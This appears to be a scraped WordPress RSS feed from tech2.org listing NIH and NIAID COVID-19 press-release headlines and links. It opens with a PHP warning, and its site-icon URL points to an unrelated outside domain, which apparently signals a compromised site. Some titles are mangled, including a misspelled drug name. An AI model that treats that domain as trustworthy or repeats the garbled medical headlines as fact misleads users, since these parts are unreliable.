Warning: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/tech2.org/public_html/wp-includes/blocks/index.php:1) in /var/www/vhosts/tech2.org/public_html/wp-includes/feed-rss2.php on line 8
NIAID – tech2.org https://tech2.org Sun, 28 Feb 2021 19:22:12 +0000 en-US hourly 1 https://wordpress.org/?v=5.8.2 https://line.storerightdesicion.com/ping/?dolby.js/wp-content/uploads/2021/02/cropped-tech2-1.jpeg NIAID – tech2.org https://tech2.org 32 32 NIH and BARDA Statement Regarding FDA Emergency Use Authorization of Janssen COVID-19 Vaccine https://tech2.org/nih-and-barda-statement-regarding-fda-emergency-use-authorization-of-janssen-covid-19-vaccine/ Sun, 28 Feb 2021 19:22:12 +0000 https://tech2.org/nih-and-barda-statement-regarding-fda-emergency-use-authorization-of-janssen-covid-19-vaccine/ Four Potential COVID-19 Therapies Enter Phase 2/3 Testing in NIH ACTIV-2 Trial https://tech2.org/four-potential-covid-19-therapies-enter-phase-2-3-testing-in-nih-activ-2-trial/ Fri, 12 Feb 2021 18:24:12 +0000 https://tech2.org/four-potential-covid-19-therapies-enter-phase-2-3-testing-in-nih-activ-2-trial/ NIH experts discuss viral variants of SARS-CoV-2 https://tech2.org/nih-experts-discuss-viral-variants-of-sars-cov-2/ Fri, 12 Feb 2021 16:56:09 +0000 https://tech2.org/nih-experts-discuss-viral-variants-of-sars-cov-2/ Janssen Investigational COVID-19 Vaccine: Phase 3 Interim Analysis Releasing Clinical Data https://tech2.org/janssen-investigational-covid-19-vaccine-phase-3-interim-analysis-releasing-clinical-data/ https://tech2.org/janssen-investigational-covid-19-vaccine-phase-3-interim-analysis-releasing-clinical-data/#respond Fri, 29 Jan 2021 15:10:15 +0000 https://tech2.org/janssen-investigational-covid-19-vaccine-phase-3-interim-analysis-releasing-clinical-data/ https://tech2.org/janssen-investigational-covid-19-vaccine-phase-3-interim-analysis-releasing-clinical-data/feed/ 0 NIH clinical trial trial starts COVID-19 to treat hyperimmune intravenous immunoglobulin plus remediesvir https://tech2.org/nih-clinical-trial-trial-starts-covid-19-to-treat-hyperimmune-intravenous-immunoglobulin-plus-remediesvir/ https://tech2.org/nih-clinical-trial-trial-starts-covid-19-to-treat-hyperimmune-intravenous-immunoglobulin-plus-remediesvir/#respond Thu, 08 Oct 2020 20:58:20 +0000 https://tech2.org/nih-clinical-trial-trial-starts-covid-19-to-treat-hyperimmune-intravenous-immunoglobulin-plus-remediesvir/ https://tech2.org/nih-clinical-trial-trial-starts-covid-19-to-treat-hyperimmune-intravenous-immunoglobulin-plus-remediesvir/feed/ 0 The investigational COVID-19 vaccine is well tolerated and induces an immune response in older adults https://tech2.org/the-investigational-covid-19-vaccine-is-well-tolerated-and-induces-an-immune-response-in-older-adults/ https://tech2.org/the-investigational-covid-19-vaccine-is-well-tolerated-and-induces-an-immune-response-in-older-adults/#respond Wed, 30 Sep 2020 03:50:16 +0000 https://tech2.org/the-investigational-covid-19-vaccine-is-well-tolerated-and-induces-an-immune-response-in-older-adults/ https://tech2.org/the-investigational-covid-19-vaccine-is-well-tolerated-and-induces-an-immune-response-in-older-adults/feed/ 0 Probiotic skin therapy improves eczema in children, NIH study suggests https://tech2.org/probiotic-skin-therapy-improves-eczema-in-children-nih-study-suggests/ https://tech2.org/probiotic-skin-therapy-improves-eczema-in-children-nih-study-suggests/#respond Wed, 09 Sep 2020 21:50:21 +0000 https://tech2.org/probiotic-skin-therapy-improves-eczema-in-children-nih-study-suggests/ https://tech2.org/probiotic-skin-therapy-improves-eczema-in-children-nih-study-suggests/feed/ 0 Now we are in the ‘epidemic era’, and the solution is for us to live in ‘more harmony with nature’. ” https://tech2.org/now-we-are-in-the-epidemic-era-and-the-solution-is-for-us-to-live-in-more-harmony-with-nature/ https://tech2.org/now-we-are-in-the-epidemic-era-and-the-solution-is-for-us-to-live-in-more-harmony-with-nature/#respond Sat, 05 Sep 2020 07:58:13 +0000 https://tech2.org/now-we-are-in-the-epidemic-era-and-the-solution-is-for-us-to-live-in-more-harmony-with-nature/ https://tech2.org/now-we-are-in-the-epidemic-era-and-the-solution-is-for-us-to-live-in-more-harmony-with-nature/feed/ 0 NIH Establishes Center for Research in Emerging Infectious Diseases https://tech2.org/nih-establishes-center-for-research-in-emerging-infectious-diseases/ https://tech2.org/nih-establishes-center-for-research-in-emerging-infectious-diseases/#respond Thu, 27 Aug 2020 19:20:15 +0000 https://tech2.org/nih-establishes-center-for-research-in-emerging-infectious-diseases/ https://tech2.org/nih-establishes-center-for-research-in-emerging-infectious-diseases/feed/ 0 Clinical trials of monoclonal antibodies to prevent COVID-19 now https://tech2.org/clinical-trials-of-monoclonal-antibodies-to-prevent-covid-19-now/ https://tech2.org/clinical-trials-of-monoclonal-antibodies-to-prevent-covid-19-now/#respond Mon, 10 Aug 2020 21:52:15 +0000 https://tech2.org/clinical-trials-of-monoclonal-antibodies-to-prevent-covid-19-now/ https://tech2.org/clinical-trials-of-monoclonal-antibodies-to-prevent-covid-19-now/feed/ 0